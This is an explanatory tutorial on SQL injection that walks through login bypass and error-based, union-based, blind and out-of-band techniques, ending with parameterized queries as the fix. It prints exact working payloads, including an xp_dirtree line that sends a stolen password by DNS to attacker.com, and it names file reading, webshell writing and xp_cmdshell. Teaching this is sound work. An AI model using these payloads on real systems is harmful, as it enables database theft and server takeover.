A bug from the 1990s that still leaks databases today. The whole thing comes down to one idea: making the app read your input as instructions. Let’s build it from zero — then walk every type, with the exact payloads.
You fill in a login form — a username, a password — and hit enter. Behind the scenes, the app takes what you typed and glues it into a sentence written in a language the database speaks: SQL. That sentence is the query. SQL injection is what happens when the characters you type stop being treated as data and start being treated as part of the sentence itself. Type the right symbols and you’re no longer answering the query — you’re rewriting it. Watch it happen:
So, what is SQL injection — really?
A database query is just a sentence. A normal login query looks like this, with your input dropped straight into the middle of it:
# the app literally concatenates your text into the SQL string query = "SELECT * FROM users WHERE user='" + input + "' AND pass='" + pw + "'"
See the problem? Your input lands inside the quotes. So what if your input contains a quote? You’d close the string early, and everything after it gets read as live SQL. That single character — ' — is the entire foundation of the attack.
The classic: walking past the login
Put ' OR '1'='1 in the username box. The query the database actually receives becomes:
SELECT * FROM users WHERE user='' OR '1'='1' AND pass='...' ↑ your quote closed the value — the rest is now CODE # '1'='1' is always true → the WHERE matches every row → first user returned
Even cleaner: type admin'-- . The -- starts a SQL comment, so the entire password check is crossed out and ignored — you’re logged in as admin with no password at all.
SELECT * FROM users WHERE user='admin'-- ' AND pass='...' ↑ everything after -- is ignored
How many types are there?
People say “SQL injection” like it’s one thing, but the technique changes completely based on one question: does the app show you anything back? That splits SQLi into three families. Here are the main four in motion, then we’ll do each with payloads:
Family 1 — In-band (the answer comes straight back)
Error-based. You send a deliberately broken payload that forces the database to throw an error — and you make that error contain your stolen data. It only works if the app shows DB errors, but when it does, it’s instant.
# payload ' AND extractvalue(1, concat(0x7e, (SELECT version())))-- # the DB error literally prints it back: ERROR 1105: XPATH syntax error: '~8.0.32-MySQL'
Union-based. The UNION keyword bolts a second SELECT onto the first, and its rows render right where the page showed the original data. First you find how many columns the query has, then you dump whatever you want.
# 1) find the column count ' ORDER BY 3-- # works… ' ORDER BY 4-- → error, so 3 columns # 2) dump the users table into the page ' UNION SELECT username, password, NULL FROM users-- admin $2y$10$Q9…hashed root 5f4dcc3b5aa765d61d8327deb882cf99
Family 2 — Blind (nothing visible — you infer it)
Boolean-based. The app shows no data and no errors, but it reacts differently to a true vs a false condition — maybe the page loads, maybe it doesn’t. So you ask it yes/no questions and read its body language, one character at a time.
' AND 1=1-- # page looks normal → TRUE ' AND 1=2-- # page changes/blank → FALSE # now ask real questions, bit by bit: ' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--
Time-based. When even the page won’t change, you turn the database’s own clock into your output channel: tell it to pause if your guess is right.
' AND IF(SUBSTRING(version(),1,1)='8', SLEEP(5), 0)-- # response takes 5s → condition was TRUE # response is instant → FALSE. Slow, but works fully blind.
Family 3 — Out-of-band (OOB)
When the answer can’t come back through the page at all, you make the database itself phone home — open a DNS or HTTP request to a server you control, with the stolen data baked into the request. Common on MSSQL/Oracle where in-band is blocked:
'; exec master..xp_dirtree '\\'+(SELECT TOP 1 pass FROM users)+'.attacker.com\x'-- # the DB does a DNS lookup for.attacker.com — you read it in your logs
Here’s the part that ties it all together: in every one of these, the database isn’t “hacked.” It’s doing its job perfectly — running the one final SQL string it was handed. It simply can’t tell which characters came from the developer and which came from you. That blindness is the vulnerability.
What this actually gets an attacker
Far more than a login bypass. Once you can run SQL, you can usually: dump the entire database (users, password hashes, emails, cards), read server files (LOAD_FILE('/etc/passwd')), write files (INTO OUTFILE to drop a webshell), and on misconfigured servers, run OS commands (xp_cmdshell on MSSQL). A single injection point can become full server takeover.
The fix (and it’s a clean one)
You don’t “escape harder.” You stop mixing data and code in the first place. Parameterized queries (prepared statements) hand the database the query template and the values separately — so your input is only ever treated as a value, never as SQL. There is no quote to break out of, because the input never touches the sentence.
# ✗ vulnerable — input becomes part of the SQL db.query("SELECT * FROM users WHERE user='" + input + "'") # ✓ safe — query and data sent separately, input can't be code db.query("SELECT * FROM users WHERE user = ?", [input])
The types at a glance
| Type | Data in the response? | Example payload | Speed |
|---|---|---|---|
| Error-based | Yes — inside the error | extractvalue(1,concat(...)) | Fast |
| Union-based | Yes — in the page | ' UNION SELECT u,p FROM users-- | Fast |
| Boolean blind | No — infer from page | ' AND 1=1-- / 1=2-- | Slow |
| Time-based blind | No — infer from delay | ' AND SLEEP(5)-- | Slowest |
| Out-of-band | No — comes via DNS/HTTP | xp_dirtree '\\…attacker.com' | Varies |
' breaks out; OR '1'='1 or -- rewrites the logic. If the app shows results it’s in-band (error / union); if not, you go blind (boolean / time) or out-of-band. The database runs it all faithfully — which is exactly why parameterized queries are the only real fix.